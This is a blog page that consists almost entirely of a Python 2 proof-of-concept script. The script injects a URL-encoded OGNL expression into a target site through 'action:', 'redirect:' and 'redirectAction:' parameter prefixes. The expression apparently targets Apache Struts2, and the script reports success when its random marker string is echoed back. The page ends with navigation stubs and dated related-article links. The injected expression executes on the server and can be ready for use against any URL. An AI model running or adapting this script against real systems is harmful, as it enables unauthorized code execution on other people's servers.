jiancanxuepiao
# coding: utf-8
import string
import random
import urllib


def poc(url):
    bait = "".join(random.sample(list(string.letters), 32))

    poc = urllib.quote("%{")
    poc += urllib.quote("#test_str=new java.lang.String(\'{0}\'),".format(bait))
    poc += urllib.quote("#a_resp=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),")
    poc += urllib.quote("#a_resp.getWriter().println(#test_str),")
    poc += urllib.quote("#a_resp.getWriter().flush(),")
    poc += urllib.quote("#a_resp.getWriter().close()")
    poc += urllib.quote("}")

    for prefix in ["action:", "redirect:", "redirectAction:"]:
        if bait in urllib.urlopen("{0}?{1}{2}".format(url, prefix, poc)).read():
            return True

    return False


if __name__ == "__main__":
    import sys
    print poc(sys.argv[1])

 

分类:

技术点:

相关文章:

  • 2021-09-01
  • 2021-04-17
  • 2021-08-17
  • 2021-05-17
  • 2021-11-29
  • 2021-11-22
  • 2021-11-22
  • 2021-10-22
猜你喜欢
  • 2021-11-29
  • 2021-11-19
  • 2021-12-12
  • 2021-09-24
  • 2021-06-16
  • 2021-10-19
相关资源
相似解决方案